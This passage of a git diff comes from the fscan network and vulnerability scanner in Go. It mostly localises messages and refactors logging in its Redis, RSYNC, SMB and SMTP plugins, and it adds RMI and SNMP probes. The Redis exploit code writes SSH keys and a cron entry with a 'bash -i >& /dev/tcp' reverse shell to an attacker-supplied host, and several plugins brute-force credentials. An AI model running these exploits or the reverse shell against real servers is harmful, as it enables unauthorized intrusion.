fmt.Errorf(i18n.GetText("service_auth_failed")+": %s", strings.TrimSpace(responseStr)), } } } @@ -170,7 +170,7 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr return &AuthResult{ Success: false, ErrorType: ErrorTypeUnknown, - Error: fmt.Errorf("redis PING测试失败: %s", strings.TrimSpace(responseStr)), + Error: fmt.Errorf("%s", i18n.Tr("redis_ping_failed", strings.TrimSpace(responseStr))), } } @@ -212,7 +212,7 @@ func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H Type: plugins.ResultTypeVuln, Success: true, Service: "redis", - VulInfo: "未授权访问", + VulInfo: i18n.GetText("unauthorized_access"), } } @@ -225,7 +225,7 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - common.LogError(i18n.Tr("redis_reconnect_failed", err)) + session.LogError(i18n.Tr("redis_reconnect_failed", err)) return } defer func() { _ = conn.Close() }() @@ -244,7 +244,7 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host } } - p.exploit(ctx, info, conn, password, session.Config) + p.exploit(ctx, info, conn, password, session.Config, session) } // identifyService 服务识别 @@ -288,16 +288,16 @@ func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo var banner string if strings.Contains(responseStr, "PONG") { - banner = "Redis服务 (PONG响应)" + banner = i18n.GetText("redis_service_pong") } else if strings.Contains(responseStr, "-NOAUTH") { - banner = "Redis服务 (需要认证)" + banner = i18n.GetText("redis_service_auth_required") } else if strings.Contains(responseStr, "-ERR") { - banner = "Redis服务 (协议响应)" + banner = i18n.GetText("redis_service_protocol_response") } else { - banner = "Redis服务" + banner = i18n.GetText("redis_service_plain") } - common.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet + session.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet return &ScanResult{ Type: plugins.ResultTypeService, @@ -321,7 +321,7 @@ func (p *RedisPlugin) shouldExploit(config *common.Config) bool { } // exploit 执行Redis漏洞利用 -func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn net.Conn, password string, config *common.Config) { +func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn net.Conn, password string, config *common.Config, session *common.ScanSession) { if config.Redis.Disabled { return } @@ -330,7 +330,7 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n dbfilename, dir, err := p.getConfig(conn) if err != nil { - common.LogError(i18n.Tr("redis_config_failed", err)) + session.LogError(i18n.Tr("redis_config_failed", err)) return } @@ -346,9 +346,9 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n fileName := path.Base(config.Redis.WritePath) if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, config.Redis.WriteContent); writeErr != nil { - common.LogError(i18n.Tr("redis_write_failed", writeErr)) + session.LogError(i18n.Tr("redis_write_failed", writeErr)) } else if success { - common.LogVuln(i18n.Tr("redis_write_success", config.Redis.WritePath)) + session.LogVuln(i18n.Tr("redis_write_success", config.Redis.WritePath)) } } @@ -356,15 +356,15 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n if config.Redis.WritePath != "" && config.Redis.WriteFile != "" { fileContent, readErr := os.ReadFile(config.Redis.WriteFile) if readErr != nil { - common.LogError(i18n.Tr("redis_read_failed", readErr)) + session.LogError(i18n.Tr("redis_read_failed", readErr)) } else { dirPath := path.Dir(config.Redis.WritePath) fileName := path.Base(config.Redis.WritePath) if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, string(fileContent)); writeErr != nil { - common.LogError(i18n.Tr("redis_write_failed", writeErr)) + session.LogError(i18n.Tr("redis_write_failed", writeErr)) } else if success { - common.LogVuln(i18n.Tr("redis_file_write_success", config.Redis.WriteFile, config.Redis.WritePath)) + session.LogVuln(i18n.Tr("redis_file_write_success", config.Redis.WriteFile, config.Redis.WritePath)) } } } @@ -372,24 +372,24 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n // SSH密钥写入 if config.Redis.File != "" { if success, _, keyErr := p.writeKey(conn, config.Redis.File); keyErr != nil { - common.LogError(i18n.Tr("redis_ssh_key_failed", keyErr)) + session.LogError(i18n.Tr("redis_ssh_key_failed", keyErr)) } else if success { - common.LogVuln(i18n.GetText("redis_ssh_key_success")) + session.LogVuln(i18n.GetText("redis_ssh_key_success")) } } // 定时任务写入 if config.Redis.Shell != "" { if success, _, cronErr := p.writeCron(conn, config.Redis.Shell); cronErr != nil { - common.LogError(i18n.Tr("redis_cron_failed", cronErr)) + session.LogError(i18n.Tr("redis_cron_failed", cronErr)) } else if success { - common.LogVuln(i18n.GetText("redis_cron_success")) + session.LogVuln(i18n.GetText("redis_cron_success")) } } // 恢复配置 if err = p.recoverDB(dbfilename, dir, conn); err != nil { - common.LogError(i18n.Tr("redis_restore_failed", err)) + session.LogError(i18n.Tr("redis_restore_failed", err)) } } @@ -552,10 +552,10 @@ func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text // 读取密钥文件 key, err := p.readFile(filename) if err != nil { - return false, fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err), err + return false, i18n.Tr("redis_key_file_read_failed", filename, err), err } if len(key) == 0 { - return false, fmt.Sprintf("密钥文件 %s 为空", filename), nil + return false, i18n.Tr("redis_key_file_empty", filename), nil } // 写入密钥 @@ -594,11 +594,15 @@ func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text str } // 解析目标地址 - target := strings.Split(host, ":") - if len(target) < 2 { - return false, "主机地址格式错误", nil + scanIp, scanPort, err := net.SplitHostPort(strings.TrimSpace(host)) + if err != nil && strings.Count(host, ":") == 1 { + target := strings.SplitN(host, ":", 2) + scanIp, scanPort = strings.TrimSpace(target[0]), strings.TrimSpace(target[1]) + err = nil + } + if err != nil || scanIp == "" || scanPort == "" { + return false, i18n.GetText("redis_host_format_invalid"), nil } - scanIp, scanPort := target[0], target[1] // 写入cron任务 cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort) diff --git a/plugins/services/rmi.go b/plugins/services/rmi.go new file mode 100644 index 0000000..322e9ed --- /dev/null +++ b/plugins/services/rmi.go @@ -0,0 +1,93 @@ +//go:build plugin_rmi || !plugin_selective + +package services + +import ( + "context" + "fmt" + "io" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" +) + +// Java RMI protocol magic: "JRMI" + version 2 + StreamProtocol +var rmiHandshake = []byte{0x4a, 0x52, 0x4d, 0x49, 0x00, 0x02, 0x4b} + +type RMIPlugin struct { + plugins.BasePlugin +} + +func NewRMIPlugin() *RMIPlugin { + return &RMIPlugin{BasePlugin: plugins.NewBasePlugin("rmi")} +} + +func (p *RMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + timeout := session.Config.Timeout + if timeout <= 0 { + timeout = 3 * time.Second + } + + addr := info.Target() + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) + if err != nil { + return &ScanResult{Success: false, Service: "rmi"} + } + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(timeout)) + + if _, err := conn.Write(rmiHandshake); err != nil { + return &ScanResult{Success: false, Service: "rmi"} + } + + // RMI server responds with ProtocolAck (0x4e) followed by endpoint info. + // Read at least 1 byte for the ack; io.ReadFull guarantees it. + ack := make([]byte, 1) + if _, err := io.ReadFull(conn, ack); err != nil { + return &ScanResult{Success: false, Service: "rmi"} + } + if ack[0] != 0x4e { + return &ScanResult{Success: false, Service: "rmi"} + } + + buf := make([]byte, 255) + n, err := conn.Read(buf) + if err != nil && n == 0 { + return &ScanResult{Success: false, Service: "rmi"} + } + + endpoint := parseRMIEndpoint(buf[:n]) + + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeVuln, + Service: "rmi", + VulInfo: "Java RMI/JMX Service Exposed", + Banner: endpoint, + } +} + +func parseRMIEndpoint(data []byte) string { + if len(data) < 4 { + return "Java RMI" + } + // Skip 2 bytes (host length big-endian) + hostLen := int(data[0])<<8 | int(data[1]) + if hostLen <= 0 || hostLen+2 > len(data) { + return "Java RMI" + } + host := string(data[2 : 2+hostLen]) + offset := 2 + hostLen + if offset+4 > len(data) { + return fmt.Sprintf("Java RMI endpoint=%s", host) + } + port := int(data[offset])<<24 | int(data[offset+1])<<16 | int(data[offset+2])<<8 | int(data[offset+3]) + return fmt.Sprintf("Java RMI endpoint=%s:%d", host, port) +} + +func init() { + RegisterPluginWithPorts("rmi", func() Plugin { + return NewRMIPlugin() + }, []int{1099, 1098, 9999, 4444}) +} diff --git a/plugins/services/rsync.go b/plugins/services/rsync.go index 9256af1..7ebd751 100644 --- a/plugins/services/rsync.go +++ b/plugins/services/rsync.go @@ -40,7 +40,7 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, session * // 检测未授权访问 if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { - common.LogSuccess(i18n.Tr("rsync_service", target, result.Banner)) + session.LogSuccess(i18n.Tr("rsync_service", target, result.Banner)) findings = append(findings, result.Banner) } @@ -58,7 +58,7 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, session * return &ScanResult{ Success: false, Service: "rsync", - Error: fmt.Errorf("没有可用的测试凭据"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_credentials")), } } @@ -75,7 +75,7 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, session * result := TestCredentialsConcurrently(ctx, creds, authFn, "rsync", testConfig) if result.Success { - common.LogVuln(i18n.Tr("rsync_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("rsync_credential", target, result.Username, result.Password)) return result } @@ -110,7 +110,7 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr return &AuthResult{ Success: false, ErrorType: ErrorTypeNetwork, - Error: fmt.Errorf("无法连接到Rsync服务"), + Error: fmt.Errorf("%s", i18n.GetText("rsync_connect_failed")), } } modules := p.getModules(conn, session.Config) @@ -120,16 +120,28 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr return &AuthResult{ Success: false, ErrorType: ErrorTypeUnknown, - Error: fmt.Errorf("无法获取模块列表"), + Error: fmt.Errorf("%s", i18n.GetText("rsync_modules_failed")), } } // 提取第一个模块名 - firstModuleLine := modules[0] - firstModule := strings.Fields(firstModuleLine)[0] + var firstModule string + for _, moduleLine := range modules { + if fields := strings.Fields(moduleLine); len(fields) > 0 { + firstModule = fields[0] + break + } + } + if firstModule == "" { + return &AuthResult{ + Success: false, + ErrorType: ErrorTypeUnknown, + Error: fmt.Errorf("%s", i18n.GetText("rsync_modules_failed")), + } + } // 使用 go-rsync 库进行认证测试 - address := fmt.Sprintf("%s:%d", info.Host, info.Port) + address := info.Target() dummyFS := &dummyStorage{} _, err := rsync.SocketClient( @@ -215,7 +227,7 @@ func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H modules := p.getModules(conn, session.Config) if len(modules) > 0 { - banner := fmt.Sprintf("未授权访问 - 可用模块: %s", strings.Join(modules, ", ")) + banner := i18n.Tr("rsync_unauth_modules", strings.Join(modules, ", ")) return &ScanResult{ Success: true, Type: plugins.ResultTypeService, @@ -328,7 +340,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo return &ScanResult{ Success: false, Service: "rsync", - Error: fmt.Errorf("无法连接到Rsync服务"), + Error: fmt.Errorf("%s", i18n.GetText("rsync_connect_failed")), } } defer func() { _ = conn.Close() }() @@ -363,22 +375,22 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo lines := strings.Split(responseStr, "\n") for _, line := range lines { if strings.HasPrefix(line, "@RSYNCD:") { - banner = fmt.Sprintf("Rsync服务 (%s)", strings.TrimSpace(line)) + banner = i18n.Tr("rsync_service_info", strings.TrimSpace(line)) break } } if banner == "" { - banner = "Rsync文件同步服务" + banner = i18n.GetText("rsync_file_sync_service") } } else { return &ScanResult{ Success: false, Service: "rsync", - Error: fmt.Errorf("无法识别为Rsync服务"), + Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "Rsync")), } } - common.LogSuccess(i18n.Tr("rsync_service", target, banner)) + session.LogSuccess(i18n.Tr("rsync_service", target, banner)) return &ScanResult{ Success: true, diff --git a/plugins/services/smb.go b/plugins/services/smb.go index ff0baab..4f60eb1 100644 --- a/plugins/services/smb.go +++ b/plugins/services/smb.go @@ -34,7 +34,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co return &ScanResult{ Success: false, Service: "smb", - Error: fmt.Errorf("SMB插件仅支持139和445端口"), + Error: fmt.Errorf("%s", i18n.GetText("smb_port_only")), } } @@ -44,18 +44,18 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co return &ScanResult{ Success: false, Service: "smb", - Error: fmt.Errorf("SMB协议探测失败: %w", err), + Error: fmt.Errorf("%s: %w", i18n.GetText("smb_probe_failed"), err), } } // 输出信息收集结果 - p.logSMBInfo(target, smbTarget) + p.logSMBInfo(target, smbTarget, session) // 2. 漏洞检测 (仅SMBv2+且端口445) if smbTarget.Protocol == SMBProtocol2 && info.Port == 445 { if checkSMBGhost(ctx, info.Host, config.Timeout, session) { smbTarget.Vulnerable = &SMBVuln{CVE20200796: true} - common.LogVuln(i18n.Tr("smbghost_vuln", target)) + session.LogVuln(i18n.Tr("smbghost_vuln", target)) } } @@ -71,11 +71,11 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co if result := p.testUnauthorizedAccess(ctx, info, auth, config, state, session); result != nil && result.Success { var successMsg string if config.Credentials.Domain != "" { - successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s\\%s:%s", target, config.Credentials.Domain, result.Username, result.Password) + successMsg = i18n.Tr("smb_unauth_domain_access", target, config.Credentials.Domain, result.Username, result.Password) } else { - successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s:%s", target, result.Username, result.Password) + successMsg = i18n.Tr("smb_unauth_access", target, result.Username, result.Password) } - common.LogVuln(successMsg) + session.LogVuln(successMsg) return result } @@ -102,7 +102,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co } else { successMsg = fmt.Sprintf("SMB %s %s:%s", target, result.Username, result.Password) } - common.LogVuln(successMsg) + session.LogVuln(successMsg) } return result @@ -143,12 +143,12 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos if displayUser == "" { displayUser = "" } - output.WriteString(fmt.Sprintf("SMB %s 匿名访问 - %s:%s", target, displayUser, cred.Password)) + output.WriteString(i18n.Tr("smb_anonymous_access_detail", target, displayUser, cred.Password)) for _, share := range shareInfo { - output.WriteString(fmt.Sprintf("\n%s", share)) + fmt.Fprintf(&output, "\n%s", share) } - common.LogSuccess(output.String()) + session.LogSuccess(output.String()) return &ScanResult{ Success: true, @@ -156,7 +156,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos Service: "smb", Username: cred.Username, Password: cred.Password, - Banner: "SMB匿名访问", + Banner: i18n.GetText("smb_anonymous_banner"), } } } @@ -165,7 +165,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos } // logSMBInfo 输出SMB信息 -func (p *SmbPlugin) logSMBInfo(target string, info *SMBTarget) { +func (p *SmbPlugin) logSMBInfo(target string, info *SMBTarget, session *common.ScanSession) { msg := fmt.Sprintf("SMBInfo %s", target) if info.OSVersion != "" { msg += fmt.Sprintf(" [%s]", info.OSVersion) @@ -174,7 +174,7 @@ func (p *SmbPlugin) logSMBInfo(target string, info *SMBTarget) { msg += fmt.Sprintf(" %s", info.ComputerName) } msg += fmt.Sprintf(" %s", info.Protocol.String()) - common.LogSuccess(msg) + session.LogSuccess(msg) } // buildInfoResult 构建信息收集结果 diff --git a/plugins/services/smb_protocol.go b/plugins/services/smb_protocol.go index d4aac21..e4a4f08 100644 --- a/plugins/services/smb_protocol.go +++ b/plugins/services/smb_protocol.go @@ -16,6 +16,7 @@ import ( "github.com/hirochachacha/go-smb2" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" "github.com/stacktitan/smb/smb" ) @@ -202,11 +203,11 @@ var ( // probeTarget 探测目标SMB信息(协议版本、系统信息) func probeTarget(ctx context.Context, host string, port int, timeout time.Duration, session *common.ScanSession) (*SMBTarget, error) { - target := fmt.Sprintf("%s:%d", host, port) + target := net.JoinHostPort(host, strconv.Itoa(port)) conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - return nil, fmt.Errorf("连接失败: %w", err) + return nil, fmt.Errorf(i18n.Tr("service_connection_failed", "%w"), err) } defer func() { _ = conn.Close() }() @@ -215,13 +216,13 @@ func probeTarget(ctx context.Context, host string, port int, timeout time.Durati // 首先尝试SMBv1协商 _, err = conn.Write(smbv1NegotiatePacket) if err != nil { - return nil, fmt.Errorf("发送SMBv1协商包失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv1_negotiate_send_failed"), err) } // 读取SMBv1协商响应 r1, err := readSMBMessage(conn) if err != nil { - common.LogDebug(fmt.Sprintf("读取SMBv1协商响应失败: %v", err)) + session.LogDebug(i18n.Tr("smbv1_negotiate_read_failed", err)) } // 检查是否支持SMBv1 @@ -238,12 +239,12 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget // 发送Session Setup请求 _, err := conn.Write(smbv1SessionSetupPacket) if err != nil { - return nil, fmt.Errorf("发送SMBv1 Session Setup失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv1_session_send_failed"), err) } ret, err := readSMBMessage(conn) if err != nil || len(ret) < 47 { - return nil, fmt.Errorf("读取SMBv1 Session Setup响应失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv1_session_read_failed"), err) } info := &SMBTarget{ @@ -291,7 +292,7 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget func probeSMBv2(ctx context.Context, target string, timeout time.Duration, session *common.ScanSession) (*SMBTarget, error) { conn2, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - return nil, fmt.Errorf("SMBv2连接失败: %w", err) + return nil, fmt.Errorf(i18n.Tr("service_connection_failed", "%w"), err) } defer func() { _ = conn2.Close() }() @@ -300,12 +301,12 @@ func probeSMBv2(ctx context.Context, target string, timeout time.Duration, sessi // 发送SMBv2协商包 _, err = conn2.Write(smbv2NegotiatePacket) if err != nil { - return nil, fmt.Errorf("发送SMBv2协商包失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_negotiate_send_failed"), err) } r2, err := readSMBMessage(conn2) if err != nil { - return nil, fmt.Errorf("读取SMBv2协商响应失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_negotiate_read_failed"), err) } // 构建NTLM数据包 @@ -321,23 +322,23 @@ func probeSMBv2(ctx context.Context, target string, timeout time.Duration, sessi // 发送Session Setup _, err = conn2.Write(smbv2SessionSetupPacket) if err != nil { - return nil, fmt.Errorf("发送SMBv2 Session Setup失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_session_send_failed"), err) } _, err = readSMBMessage(conn2) if err != nil { - return nil, fmt.Errorf("读取SMBv2 Session Setup响应失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_session_read_failed"), err) } // 发送NTLM协商包 _, err = conn2.Write(ntlmData) if err != nil { - return nil, fmt.Errorf("发送SMBv2 NTLM包失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_ntlm_send_failed"), err) } ret, err := readSMBMessage(conn2) if err != nil { - return nil, fmt.Errorf("读取SMBv2 NTLM响应失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_ntlm_read_failed"), err) } ntlmOff := bytes.Index(ret, []byte("NTLMSSP")) @@ -436,7 +437,7 @@ func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port resultChan <- &AuthResult{ Success: false, ErrorType: ErrorTypeAuth, - Error: fmt.Errorf("认证失败:用户名或密码错误"), + Error: fmt.Errorf("%s", i18n.GetText("service_auth_failed")), } } }() @@ -454,7 +455,7 @@ func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port return &AuthResult{ Success: false, ErrorType: ErrorTypeNetwork, - Error: fmt.Errorf("连接超时"), + Error: fmt.Errorf("%s", i18n.GetText("connection_timeout")), }, nil case <-ctx.Done(): go func() { @@ -484,7 +485,7 @@ func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port timeoutCtx, cancel := context.WithTimeout(ctx, timeout) defer cancel() - conn, err := session.DialTCP(ctx, "tcp", fmt.Sprintf("%s:%d", host, port), timeout) + conn, err := session.DialTCP(ctx, "tcp", net.JoinHostPort(host, strconv.Itoa(port)), timeout) if err != nil { return &AuthResult{ Success: false, @@ -507,7 +508,7 @@ func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port return &AuthResult{ Success: false, ErrorType: classifySMBError(err), - Error: fmt.Errorf("SMB2认证失败: %w", err), + Error: fmt.Errorf(i18n.Tr("service_connection_failed", "%w"), err), }, nil } @@ -662,7 +663,7 @@ func classifySMBError(err error) ErrorType { "smb: wrong password", "smb: login failed", "smb: unauthorized", - "smb2认证失败", + i18n.GetText("service_auth_failed"), "ntlm authentication failed", "ntlm auth failed", // NT Status codes @@ -700,13 +701,13 @@ func readSMBMessage(conn net.Conn) ([]byte, error) { return nil, err } if n != 4 { - return nil, fmt.Errorf("NetBIOS头部长度不足: %d", n) + return nil, fmt.Errorf(i18n.GetText("netbios_header_too_short")+": %d", n) } messageLength := int(headerBuf[0])<<24 | int(headerBuf[1])<<16 | int(headerBuf[2])<<8 | int(headerBuf[3]) if messageLength > 1024*1024 { - return nil, fmt.Errorf("消息长度过大: %d", messageLength) + return nil, fmt.Errorf(i18n.GetText("message_length_too_large")+": %d", messageLength) } if messageLength == 0 { diff --git a/plugins/services/smtp.go b/plugins/services/smtp.go index 4d77b12..ce992ef 100644 --- a/plugins/services/smtp.go +++ b/plugins/services/smtp.go @@ -35,7 +35,7 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c // 检测未授权访问 if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { - common.LogSuccess(i18n.Tr("smtp_service", target, result.Banner)) + session.LogSuccess(i18n.Tr("smtp_service", target, result.Banner)) return result } @@ -45,7 +45,7 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c return &ScanResult{ Success: false, Service: "smtp", - Error: fmt.Errorf("没有可用的测试凭据"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_credentials")), } } @@ -62,7 +62,7 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c result := TestCredentialsConcurrently(ctx, creds, authFn, "smtp", testConfig) if result.Success { - common.LogVuln(i18n.Tr("smtp_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("smtp_credential", target, result.Username, result.Password)) } return result @@ -269,7 +269,7 @@ func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostI Success: true, Type: plugins.ResultTypeVuln, Service: "smtp", - Banner: "未授权访问 - 允许匿名邮件发送", + Banner: i18n.GetText("smtp_anonymous_mail_allowed"), } }() @@ -321,7 +321,7 @@ func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, s Success: true, Type: plugins.ResultTypeVuln, Service: "smtp", - Banner: "未授权访问 - 开放中继", + Banner: i18n.GetText("smtp_open_relay"), } }() @@ -386,7 +386,7 @@ func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, Success: true, Type: plugins.ResultTypeVuln, Service: "smtp", - Banner: fmt.Sprintf("未授权访问 - VRFY命令枚举用户(%s)", user), + Banner: i18n.Tr("smtp_vrfy_user_enum", user), } return } @@ -456,7 +456,7 @@ func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, Success: true, Type: plugins.ResultTypeVuln, Service: "smtp", - Banner: fmt.Sprintf("未授权访问 - EXPN命令枚举邮件列表(%s)", list), + Banner: i18n.Tr("smtp_expn_list_enum", list), } return } @@ -522,7 +522,7 @@ func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, var banner string if serverInfo != "" { - banner = fmt.Sprintf("SMTP邮件服务 (%s)", serverInfo) + banner = i18n.Tr("smtp_mail_service_info", serverInfo) } else { conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { @@ -533,10 +533,10 @@ func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, } } defer func() { _ = conn.Close() }() - banner = "SMTP邮件服务" + banner = i18n.GetText("smtp_mail_service") } - common.LogSuccess(i18n.Tr("smtp_service", target, banner)) + session.LogSuccess(i18n.Tr("smtp_service", target, banner)) return &ScanResult{ Success: true, diff --git a/plugins/services/snmp.go b/plugins/services/snmp.go new file mode 100644 index 0000000..fd8a24f --- /dev/null +++ b/plugins/services/snmp.go @@ -0,0 +1,259 @@ +//go:build plugin_snmp || !plugin_selective + +package services + +import ( + "context" + "encoding/asn1" + "fmt" + "strings" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" +) + +type SNMPPlugin struct { + plugins.BasePlugin +} + +func NewSNMPPlugin() *SNMPPlugin { + return &SNMPPlugin{BasePlugin: plugins.NewBasePlugin("snmp")} +} + +func (p *SNMPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + timeout := config.Timeout + if timeout <= 0 { + timeout = 3 * time.Second + } + + target := info.Target() + + result := p.probe(ctx, target, "public", timeout, session) + if result == nil { + return &ScanResult{Success: false, Service: "snmp"} + } + + if config.DisableBrute { + return result + } + + communities := p.buildCommunityList(config) + alreadyProbed := "public" + var found []string + for _, community := range communities { + if community == alreadyProbed { + continue + } + select { + case <-ctx.Done(): + return result + default: + } + if r := p.probe(ctx, target, community, timeout, session); r != nil && r.Success { + found = append(found, community) + } + } + + if len(found) > 0 { + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeCredential, + Service: "snmp", + Password: strings.Join(found, ","), + Banner: result.Banner, + } + } + return result +} + +func (p *SNMPPlugin) probe(ctx context.Context, target, community string, timeout time.Duration, session *common.ScanSession) *ScanResult { + conn, err := session.DialUDP(ctx, target, timeout) + if err != nil { + return nil + } + defer conn.Close() + + pkt := buildSNMPGetRequest(community, []int{1, 3, 6, 1, 2, 1, 1, 1, 0}) + if _, err := conn.Write(pkt); err != nil { + return nil + } + + buf := make([]byte, 1500) + n, err := conn.Read(buf) + if err != nil { + return nil + } + + sysDescr := parseSNMPResponse(buf[:n]) + if sysDescr == "" { + return nil + } + + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeService, + Service: "snmp", + Banner: fmt.Sprintf("community=%s sysDescr=%s", community, sysDescr), + } +} + +func (p *SNMPPlugin) buildCommunityList(config *common.Config) []string { + defaults := []string{"public", "private", "community", "manager", "monitor", "admin", "snmp", "default"} + + passwords := config.Credentials.Passwords + if len(passwords) > 0 { + seen := make(map[string]struct{}, len(defaults)+len(passwords)) + var merged []string + for _, c := range append(defaults, passwords...) { + if _, ok := seen[c]; !ok { + seen[c] = struct{}{} + merged = append(merged, c) + } + } + return merged + } + return defaults +} + +// SNMPv2c GetRequest 编码 +func buildSNMPGetRequest(community string, oid []int) []byte { + requestID := int(time.Now().UnixNano() & 0x7FFFFFFF) + + varbind, _ := asn1.Marshal(asn1.RawValue{ + Class: asn1.ClassUniversal, + Tag: asn1.TagSequence, + IsCompound: true, + Bytes: marshalOIDWithNull(oid), + }) + + varbindList, _ := asn1.Marshal(asn1.RawValue{ + Class: asn1.ClassUniversal, + Tag: asn1.TagSequence, + IsCompound: true, + Bytes: varbind, + }) + + reqIDBytes, _ := asn1.Marshal(requestID) + errorStatusBytes, _ := asn1.Marshal(0) + errorIndexBytes, _ := asn1.Marshal(0) + + var pduContent []byte + pduContent = append(pduContent, reqIDBytes...) + pduContent = append(pduContent, errorStatusBytes...) + pduContent = append(pduContent, errorIndexBytes...) + pduContent = append(pduContent, varbindList...) + + pdu := asn1.RawValue{ + Class: asn1.ClassContextSpecific, + Tag: 0, // GetRequest-PDU + IsCompound: true, + Bytes: pduContent, + } + pduBytes, _ := asn1.Marshal(pdu) + + versionBytes, _ := asn1.Marshal(1) // SNMPv2c + communityBytes, _ := asn1.Marshal([]byte(community)) + + var messageContent []byte + messageContent = append(messageContent, versionBytes...) + messageContent = append(messageContent, communityBytes...) + messageContent = append(messageContent, pduBytes...) + + message, _ := asn1.Marshal(asn1.RawValue{ + Class: asn1.ClassUniversal, + Tag: asn1.TagSequence, + IsCompound: true, + Bytes: messageContent, + }) + return message +} + +func marshalOIDWithNull(oid []int) []byte { + oidBytes, _ := asn1.Marshal(asn1.ObjectIdentifier(oid)) + nullBytes, _ := asn1.Marshal(asn1.RawValue{Class: asn1.ClassUniversal, Tag: asn1.TagNull}) + var result []byte + result = append(result, oidBytes...) + result = append(result, nullBytes...) + return result +} + +func parseSNMPResponse(data []byte) string { + var message asn1.RawValue + if _, err := asn1.Unmarshal(data, &message); err != nil { + return "" + } + if message.Tag != asn1.TagSequence { + return "" + } + + rest := message.Bytes + // version + var version asn1.RawValue + rest, _ 